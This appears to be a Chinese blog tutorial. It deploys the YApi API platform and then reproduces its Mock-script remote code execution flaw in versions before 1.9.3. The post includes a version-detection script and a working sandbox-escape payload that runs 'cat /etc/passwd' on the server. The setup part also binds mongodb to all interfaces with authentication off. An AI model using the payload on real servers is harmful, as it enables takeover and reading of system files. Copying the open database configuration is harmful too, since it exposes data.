Yapi 部署及任意代码执行漏洞复现

in 漏洞复现 with 0 comment

YApi简介

YApi 是一个可本地部署的、打通前后端及QA的、可视化的接口管理平台,可以帮助开发者创建、发布和维护API。YApi 还为用户提供了优秀的交互体验。开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。
YApi适合公司业务比较复杂,尤其是跨部门协作的情况下使用,和它类似的工具还有rap、swagger、moco。

0x01 环境搭建

1.1 部署安装

安装wget

yum install -y wget
yum install -y vim

安装node

# 1. 下载
mkdir /usr/local/node
cd /usr/local/node
wget https://nodejs.org/dist/v12.18.2/node-v12.18.2-linux-x64.tar.xz

# 2. 解压
xz -d node-v12.18.2-linux-x64.tar.xz
tar -xvf node-v12.18.2-linux-x64.tar

# 3. 做软链接
ln -s /usr/local/node/node-v12.18.2-linux-x64/bin/node /usr/bin/node
ln -s /usr/local/node/node-v12.18.2-linux-x64/bin/npm /usr/bin/npm
ln -s /usr/local/node/node-v12.18.2-linux-x64/bin/npx /usr/bin/npx

执行./node -v看是否安装成功。

2023-05-29T08:32:27.png

安装mongodb

# 1. 下载
mkdir /usr/local/mongodb
cd /usr/local/mongodb
wget https://fastdl.mongodb.org/linux/mongodb-linux-x86_64-rhel62-4.4.22.tgz

# 2. 解压
tar zxvf mongodb-linux-x86_64-rhel62-4.4.22.tgz

# 3. 改名
mv mongodb-linux-x86_64-rhel62-4.4.22/ mongodb-4.4.22/

# 4. 添加环境变量
vim /etc/profile
export PATH=/usr/local/mongodb/mongodb-4.4.22/bin:$PATH
source /etc/profile

# 5. 创建配置文件
cd mongodb-4.4.22
touch mongodb.conf

# 6. 创建数据库目录
mkdir db

# 7. 创建日志目录
mkdir log

# 8. 创建日志文件
touch log/mongodb.log

# 9. 编辑配置文件
vim mongodb.conf
port=27017 
dbpath= /usr/local/mongodb/mongodb-4.4.22/db
logpath= /usr/local/mongodb/mongodb-4.4.22/log/mongodb.log
logappend=true 
fork=true 
maxConns=100 
noauth=true 
journal=true
storageEngine=wiredTiger
bind_ip = 0.0.0.0

# 10. 运行
mongod --config /usr/local/mongodb/mongodb-4.4.22/mongodb.conf

2023-05-29T08:33:04.png

安装yapi

# 1. 安装yapi
npm install -g yapi-cli --registry https://registry.npm.taobao.org
cd /usr/local/node/node-v12.18.2-linux-x64/bin/

# 2. 执行启动yapi服务器
/usr/local/node/node-v12.18.2-linux-x64/bin/yapi server

2023-05-29T08:33:28.png

访问http://ip/9090进行部署安装。

2023-05-29T08:33:46.png

点击开启部署。然后在后台会提示你部署好的服务的端口为3000。

2023-05-29T08:34:11.png

2023-05-29T08:34:41.png

进入部署目录,输入 node vendors/server/app.js 指令启动服务器, 然后在浏览器打开 http://ip:3000 访问。

cd /usr/local/mongodb/mongodb-4.4.22/my-yapi
node vendors/server/app.js

2023-05-29T08:34:55.png

至此安装完成。

1.2 禁用注册功能

# 1. 进入 yapi 安装目录
cd /usr/local/mongodb/mongodb-4.4.22/my-yapi

# 2. 编辑config.json, 添加closeRegister:true配置项
{
  "port": "*****",
  "closeRegister":true,
}

# 3. 重启 yapi 生效

2023-05-29T08:35:20.png

2023-05-29T08:35:31.png

1.3 设置开机自启

yapi开机自启

# 1. 给/etc/rc.d/rc.local文件赋予执行权限
chmod +x /etc/rc.d/rc.local

# 2. 编辑该文件,加上mongodb和yapi的启动命令
vim /etc/rc.d/rc.local
node /usr/local/mongodb/mongodb-4.4.22/my-yapi/vendors/server/app.js &

mongodb开机自启

创建开始启动服务mongodb.service(文件放在/usr/lib/systemd/system目录下),服务配置内容如下:

[Unit]  
Description=mongodb   
After=network.target remote-fs.target nss-lookup.target  
   
[Service]  
Type=forking  
ExecStart= /usr/local/mongodb/mongodb-4.4.22/bin/mongod --config  /usr/local/mongodb/mongodb-4.4.22/mongodb.conf 
ExecReload=/bin/kill -s HUP $MAINPID  
ExecStop= /usr/local/mongodb/mongodb-4.4.22/bin/mongod --shutdown --config /usr/local/mongodb/mongodb-4.4.22/mongodb.conf 
PrivateTmp=true  
     
[Install]  
WantedBy=multi-user.target

相关的执行命令

systemctl enable mongodb.service  # 启动开机启动
systemctl disable mongodb.service  # 取消开机自启动

systemctl start mongodb.service  # 启动mongodb服务
systemctl stop mongodb.service   # 停止服务
systemctl restart mongodb.service    # 重新启动服务

2023-05-29T08:36:00.png

重启测试,可以使用以下命令测试mongodb是否启动成功

mongo 127.0.0.1:27017

1.4 搭建遇到的问题

1. node 版本太高, 建议切换到 12.14 版本

 Error: (node:84852) Warning: Accessing non-existent property ‘count’ of module exports inside circular dependency                              (Use node --trace-warnings ... to show where the warning was created)

切换到12.14有两种方法,第一就是卸载原来的 node 版本,第二就是使用 nvm node版本管理工具,多安装一个 12.14 版本的 node.
nvm 下载和使用地址: https://www.jianshu.com/p/cbf4f76ba0bb

2. 切换版本之后,再次点击 部署,发现报错

系统已安装,如需重新安装,请清空数据库和删除init.lock文件

切换到yapi 根目录下找到 my-yapi目录,找到里边的 init.lock 删除就行,然后继续重新部署。

3.UnhandledPromiseRejectionWarning: Error: 初始化管理员账号 "admin@admin.com"
修改默认管理员邮箱即可。

4.其他问题
可查看 github 仓库的 issue:https://github.com/ymfe/yapi/issues/16

0x02 漏洞复现

2.1 漏洞简述

若Yapi对外开放注册功能,攻击者可在注册并登录后,通过Mock构造特殊的请求执行任意代码,获取服务器权限。

2.2 漏洞影响版本

YApi < 1.9.3

判断版本方式

2023-05-29T08:36:33.png

YApi网站底部显示了当前版本号,不过该version是通过js渲染生成的,直接请求首页无法拿到版本号。可以使用如下脚本判断yapi版本号。

# !/usr/bin/env python
# coding=utf-8
import requests
import sys
import re
ip = sys.argv[1]
baseurl = "http://" + ip + ":3000/prd/"
aseet_js = "assets.js"
r = requests.get(baseurl+aseet_js)
regex = r"index@[\w]+?.js"
index_js_name = re.search(regex,r.text).group()
index_js_url = baseurl +index_js_name
regex = r'newVersion:"([\d.]+)"'
r = requests.get(index_js_url)
version = re.search(regex,r.text).group(1)
print(ip,version)
# 判断当前版本是否小于1.9.3
_,v,sub_v = version.split('.')

if int(v) < 9 or int(v) == 9 and int(sub_v) <3:
    print(version," http://" + ip + ":3000")

2023-05-29T08:36:40.png

2.3 漏洞利用过程

(1) 添加项目

2023-05-29T08:37:11.png

2023-05-29T08:37:19.png

(2) 添加接口

2023-05-29T08:37:49.png

2023-05-29T08:37:55.png

(3) 设置Mock

设置Mock后保存

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child\_process").execSync("cat /etc/passwd").toString()

2023-05-29T08:38:25.png

(4) 访问Mock地址

2023-05-29T08:38:31.png

2023-05-29T08:38:36.png

2.4 漏洞exp

https://github.com/j2ekim/YApi_exp(未验证)


写在最后

也可用docker进行漏洞环境搭建

cd vulhub/yapi/unacc
docker-compose up -d

参考文章

YApi管理平台任意代码执行漏洞复现
yapi远程代码执行漏洞复现(部署+复现)
YApi 本地部署 - 掘金
内网部署
[yapi 私服禁用注册功能_时间会告诉你答案,但不能重来的博客-CSDN博客](

Comments are closed.